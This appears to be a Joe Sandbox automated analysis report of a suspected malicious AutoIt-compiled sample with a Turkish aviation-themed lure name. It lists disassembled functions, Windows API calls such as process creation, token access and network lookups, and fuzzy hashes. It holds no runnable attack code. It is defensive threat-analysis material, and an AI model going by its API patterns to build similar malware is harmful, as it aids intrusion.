_free.LIBCMT ref: 00FD5101

Part of subcall function 00FC571C: __FF_MSGBANNER.LIBCMT ref: 00FC5733
Part of subcall function 00FC571C: __NMSG_WRITE.LIBCMT ref: 00FC573A
Part of subcall function 00FC571C: RtlAllocateHeap.NTDLL(011E0000,00000000,00000001,00000000,?,?,?,00FC0DD3,?), ref: 00FC575F

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 476683930c519bff05b60b3ad96e150aa029fed8ac33395a68b6c873c27281cc
Instruction ID: 75d3cf9ee324b2ca358a8578228d250ac6f0e5ed84eb53fbec72c091d78692e2
Opcode Fuzzy Hash: 476683930c519bff05b60b3ad96e150aa029fed8ac33395a68b6c873c27281cc
Instruction Fuzzy Hash: BA11E772904A13AECB312F74AD06B5D37A9AF50BF1B24452FF9489A350DE398C41B790

Function 00FA44A0 Relevance: 6.1, APIs: 4, Instructions: 66timewindowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00FA44CF

Part of subcall function 00FA407C: _memset.LIBCMT ref: 00FA40FC
Part of subcall function 00FA407C: _wcscpy.LIBCMT ref: 00FA4150
Part of subcall function 00FA407C: Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00FA4160

KillTimer.USER32(?,00000001,?,?), ref: 00FA4524
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00FA4533
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00FDD4B9

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: IconNotifyShell_Timer_memset$Kill_wcscpy
String ID:
API String ID: 1378193009-0
Opcode ID: 2ba4dca891086ec79bcbf9e5779ec44627da12e0745e89aeba41fb8c3a3ffab5
Instruction ID: 091fb3bc2e1d8989a2c0b81ad2480b8eaf486d5a7907ea03025df4f5431b2048
Opcode Fuzzy Hash: 2ba4dca891086ec79bcbf9e5779ec44627da12e0745e89aeba41fb8c3a3ffab5
Instruction Fuzzy Hash: B021F8B5D043849FE732CB248855BE6BBECAB02318F18008EE6CE56241C7B53984E741

Function 01016369 Relevance: 6.1, APIs: 4, Instructions: 61networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00FA5A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,01007896,?,?,00000000), ref: 00FA5A2C
Part of subcall function 00FA5A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,01007896,?,?,00000000,?,?), ref: 00FA5A50

gethostbyname.WSOCK32(?,?,?), ref: 01016399
WSAGetLastError.WSOCK32(00000000), ref: 010163A4
_memmove.LIBCMT ref: 010163D1
inet_ntoa.WSOCK32(?), ref: 010163DC

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast_memmovegethostbynameinet_ntoa
String ID:
API String ID: 1504782959-0
Opcode ID: 42c18067e9ce103dac91991ed1e74b0c269f72dddc329a728e61dae585d807b3
Instruction ID: b24b876de6b98964038d81bab4eaf4141f39a23612c10cf298408ae646200184
Opcode Fuzzy Hash: 42c18067e9ce103dac91991ed1e74b0c269f72dddc329a728e61dae585d807b3
Instruction Fuzzy Hash: EA115E7550010AAFCB00FFA4DD46DEFB7B8AF09310B144069F505A7161DF79AE04EB61

Function 00FF8B41 Relevance: 6.1, APIs: 4, Instructions: 59windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 00FF8B61
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00FF8B73
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00FF8B89
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00FF8BA4

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 8a3ea32cabcd3242f4ce41281c6056181bcb364ccf26dd66d48feaa85481fb4c
Instruction ID: 6d45098d878b07ce6bd70dfac0382362ce64a3cbe925a99571578835d9abc16c
Opcode Fuzzy Hash: 8a3ea32cabcd3242f4ce41281c6056181bcb364ccf26dd66d48feaa85481fb4c
Instruction Fuzzy Hash: 87110A79901218BFDB11DFA5C885FADBB74FF48750F204095EA00B7260DA716E11EB94

Function 00FA1290 Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

Part of subcall function 00FA2612: GetWindowLongW.USER32(?,000000EB), ref: 00FA2623

DefDlgProcW.USER32(?,00000020,?), ref: 00FA12D8
GetClientRect.USER32(?,?), ref: 00FDB5FB
GetCursorPos.USER32(?), ref: 00FDB605
ScreenToClient.USER32(?,?), ref: 00FDB610

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Client$CursorLongProcRectScreenWindow
String ID:
API String ID: 4127811313-0
Opcode ID: 10e3cbb6d98d87e72a916d56163fda3f55e99f3352b784c234a3cee04e3f19f7
Instruction ID: 106a220edd62adfea0cec918c504a2225776d3291cd241ba71644581aa704c0e
Opcode Fuzzy Hash: 10e3cbb6d98d87e72a916d56163fda3f55e99f3352b784c234a3cee04e3f19f7
Instruction Fuzzy Hash: 39110D75A0001AEFCB20DFA8D989AEE77F8FB0A341F510455F941E7240C735FA519BA5

Function 01001142 Relevance: 6.1, APIs: 4, Instructions: 51sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,00FFFCED,?,01000D40,?,00008000), ref: 0100115F
Sleep.KERNEL32(00000000,?,?,?,?,?,?,00FFFCED,?,01000D40,?,00008000), ref: 01001184
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,00FFFCED,?,01000D40,?,00008000), ref: 0100118E
Sleep.KERNEL32(?,?,?,?,?,?,?,00FFFCED,?,01000D40,?,00008000), ref: 010011C1

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: 872be46037749ab4ebdd9e52f7f9e8299223b64ba47b578220d95ec7589f6f86
Instruction ID: ff3d50d47fbd63c11ac00ed91cd9f1bb9024568466fe35e16ec7e77389e50e1f
Opcode Fuzzy Hash: 872be46037749ab4ebdd9e52f7f9e8299223b64ba47b578220d95ec7589f6f86
Instruction Fuzzy Hash: 97115A31C0061DE7DF159FA4D848AEEBBB8FF09751F504045EA80B2281CB359550CBD1

Function 00FFD831 Relevance: 6.0, APIs: 4, Instructions: 50registryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,00000000,00000000), ref: 00FFD84D
LoadTypeLibEx.OLEAUT32(?,00000002,?), ref: 00FFD864
RegisterTypeLib.OLEAUT32(?,?,00000000), ref: 00FFD879
RegisterTypeLibForUser.OLEAUT32(?,?,00000000), ref: 00FFD897

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Type$Register$FileLoadModuleNameUser
String ID:
API String ID: 1352324309-0
Opcode ID: d8679b6aad678bdb443a79253390f8a36f824a7d4b28ab3c4f767bcaf76bbc68
Instruction ID: 164ef2811ac4b4602b285760be0b24c0c5ca0cd64d35d4d1d661268855c29d4d
Opcode Fuzzy Hash: d8679b6aad678bdb443a79253390f8a36f824a7d4b28ab3c4f767bcaf76bbc68
Instruction Fuzzy Hash: 17115E75606309EBE3309F50D808FA6BBBDEF00B80F208569E656D6090D7B5E549EBA1

Function 00FD6FB7 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 00FD6FDB

Part of subcall function 00FD76C2: __fltout2.LIBCMT ref: 00FD76EB

__cftog_l.LIBCMT ref: 00FD7001
__cftoe_l.LIBCMT ref: 00FD7033

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction ID: efab7856542bdcbc5f6ee6ad28e5b98e25f0904309f4939d9a23e7c2cf55c7e2
Opcode Fuzzy Hash: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction Fuzzy Hash: 03014B7244824ABBCF166F84DC05CEE3F63BB18360B588456FA1858271E336D9B1BB81

Function 0102B2C5 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 0102B2E4
ScreenToClient.USER32(?,?), ref: 0102B2FC
ScreenToClient.USER32(?,?), ref: 0102B320
InvalidateRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 0102B33B

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: ClientRectScreen$InvalidateWindow
String ID:
API String ID: 357397906-0
Opcode ID: c9c9bb13fcc33aa7b53f086be9616812d0af62e14802bfde2a44030cebfa26d8
Instruction ID: 40509005baa930f25b530997f7174a1419aa7a92fa66670fdb8510498bf5f0c6
Opcode Fuzzy Hash: c9c9bb13fcc33aa7b53f086be9616812d0af62e14802bfde2a44030cebfa26d8
Instruction Fuzzy Hash: 271144B9D0020AEFDB51DFA9C4849EEFBF9FF08210F108156E954E3614D735AA558F50

Function 0102B635 Relevance: 6.0, APIs: 4, Instructions: 40processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0102B644
_memset.LIBCMT ref: 0102B653
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,01066F20,01066F64), ref: 0102B682
CloseHandle.KERNEL32 ref: 0102B694

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: _memset$CloseCreateHandleProcess
String ID:
API String ID: 3277943733-0
Opcode ID: db1ca7019ab2bc27b56d5e5734bf80dcdd2025432b7ebb2fbb70ac9c13b6162c
Instruction ID: 8e39ca2223a3c760753a1ede79492782288d192eeea404c32e31761efb1a2caf
Opcode Fuzzy Hash: db1ca7019ab2bc27b56d5e5734bf80dcdd2025432b7ebb2fbb70ac9c13b6162c
Instruction Fuzzy Hash: 1EF082B25403017BF2302B65AC16FBB3A9CEB18395F804020FA89E5196DBBB4C0097A8

Function 01006BDA Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 01006BE6

Part of subcall function 010076C4: _memset.LIBCMT ref: 010076F9

_memmove.LIBCMT ref: 01006C09
_memset.LIBCMT ref: 01006C16
LeaveCriticalSection.KERNEL32(?), ref: 01006C26

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: CriticalSection_memset$EnterLeave_memmove
String ID:
API String ID: 48991266-0
Opcode ID: 34c47665eb2da01d08444c15e6e9d2eff14a944577a814a55ecbd777f9ce368a
Instruction ID: 2d4629ed3d6a344022bf07ae58543245c1337d648528c46f04296a0d0bc13239
Opcode Fuzzy Hash: 34c47665eb2da01d08444c15e6e9d2eff14a944577a814a55ecbd777f9ce368a
Instruction Fuzzy Hash: 7AF0543A100101ABCF126F95DC85E8ABB29EF56360F04C055FE499E25ACB35E811DBB4

Function 0102BD1C Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00FA12F3: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00FA134D
Part of subcall function 00FA12F3: SelectObject.GDI32(?,00000000), ref: 00FA135C
Part of subcall function 00FA12F3: BeginPath.GDI32(?), ref: 00FA1373
Part of subcall function 00FA12F3: SelectObject.GDI32(?,00000000), ref: 00FA139C

MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 0102BD40
LineTo.GDI32(00000000,?,?), ref: 0102BD4D
EndPath.GDI32(00000000), ref: 0102BD5D
StrokePath.GDI32(00000000), ref: 0102BD6B

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: cec0c74a99aa5ab3ef592e11a780cb02e65d6de64edeecd47a240852acb05be1
Instruction ID: 841802188c55f453ebc0130276319a9f9a68f3bcaf3b550fe3cbc5f31240f156
Opcode Fuzzy Hash: cec0c74a99aa5ab3ef592e11a780cb02e65d6de64edeecd47a240852acb05be1
Instruction Fuzzy Hash: 29F0823100126ABBDB326F54AC09FCE3FA9AF06751F244140FA91610D58B7E5561DFA9

Function 00FA2218 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 00FA2231
SetTextColor.GDI32(?,000000FF), ref: 00FA223B
SetBkMode.GDI32(?,00000001), ref: 00FA2250
GetStockObject.GDI32(00000005), ref: 00FA2258
GetWindowDC.USER32(?,00000000), ref: 00FDBE83
GetPixel.GDI32(00000000,00000000,00000000), ref: 00FDBE90
GetPixel.GDI32(00000000,?,00000000), ref: 00FDBEA9
GetPixel.GDI32(00000000,00000000,?), ref: 00FDBEC2
GetPixel.GDI32(00000000,?,?), ref: 00FDBEE2
ReleaseDC.USER32(?,00000000), ref: 00FDBEED

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Pixel$Color$ModeObjectReleaseStockTextWindow
String ID:
API String ID: 1946975507-0
Opcode ID: 89200bf259765f48eb4c00baeb3a288fb46bf8727a7c5d9680d75a5c8476b40f
Instruction ID: c1467d2467fd6e4925a4ad42400969be147f366ac7ddf285217aae1efc7faa05
Opcode Fuzzy Hash: 89200bf259765f48eb4c00baeb3a288fb46bf8727a7c5d9680d75a5c8476b40f
Instruction Fuzzy Hash: FCE06531504145AADF315F64FC0DBD83F21EB06332F248356FFA9480D587764580EB11

Function 00FF8712 Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00FF871B
OpenThreadToken.ADVAPI32(00000000,?,?,?,00FF82E6), ref: 00FF8722
GetCurrentProcess.KERNEL32(00000028,?,?,?,?,00FF82E6), ref: 00FF872F
OpenProcessToken.ADVAPI32(00000000,?,?,?,00FF82E6), ref: 00FF8736

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: 392af1ba513fcc66283265d4004134c041b0986baa35855ebc76fb1c23c10077
Instruction ID: 680de140a9d5f22817ae5418eaecc8fe528ad8f9609c45874f50fc2ad59530bf
Opcode Fuzzy Hash: 392af1ba513fcc66283265d4004134c041b0986baa35855ebc76fb1c23c10077
Instruction Fuzzy Hash: 6FE04F36A112129BD7306EB05D4CB563BBCEF557E1F248858F285CA044DA2E84469750

Function 00FFB2F3 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 241comCOMMON

Download Yara Rule

APIs

OleSetContainedObject.OLE32(?,00000001), ref: 00FFB4BE

Strings

AutoIt3GUI, xrefs: 00FFB436
Container, xrefs: 00FFB43B

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: ContainedObject
String ID: AutoIt3GUI$Container
API String ID: 3565006973-3941886329
Opcode ID: ccf7b9cd193a11efd7606ce7529f2dfd161514d4ff1c3c563530a90a43938f33
Instruction ID: 27cc84fe38aef31bdf757144812c91dca1a95bdfbec2b467d41d07a0cb0df6ce
Opcode Fuzzy Hash: ccf7b9cd193a11efd7606ce7529f2dfd161514d4ff1c3c563530a90a43938f33
Instruction Fuzzy Hash: 20916975600605AFDB54DF64C884B6ABBF9FF48710F24846DFA4ACB2A1DB70E841DB50

Function 0100AFAC Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201shareCOMMON

Download Yara Rule

APIs

Part of subcall function 00FBFC86: _wcscpy.LIBCMT ref: 00FBFCA9

Part of subcall function 00FA9837: __itow.LIBCMT ref: 00FA9862
Part of subcall function 00FA9837: __swprintf.LIBCMT ref: 00FA98AC

__wcsnicmp.LIBCMT ref: 0100B02D
WNetUseConnectionW.MPR(00000000,?,?,00000000,?,?,00000100,?), ref: 0100B0F6

Strings

LPT, xrefs: 0100B027

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Connection__itow__swprintf__wcsnicmp_wcscpy
String ID: LPT
API String ID: 3222508074-1350329615
Opcode ID: 1a375e7b3fb353e27f196aea7d2ef2af7ee4f2ba53ad103eb694e1d240b8e2ee
Instruction ID: 60ebc61668cd9e8464e3d90118c2d80181de915fa012f7a0d1025b200c1b9663
Opcode Fuzzy Hash: 1a375e7b3fb353e27f196aea7d2ef2af7ee4f2ba53ad103eb694e1d240b8e2ee
Instruction Fuzzy Hash: 9361B279A00219AFDB15DF98C891EEEB7F4EF09310F4440A9F956AB291DB74AE40CB50

Function 00FB2957 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 00FB2968
GlobalMemoryStatusEx.KERNEL32(?), ref: 00FB2981

Strings

@, xrefs: 00FB2975

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

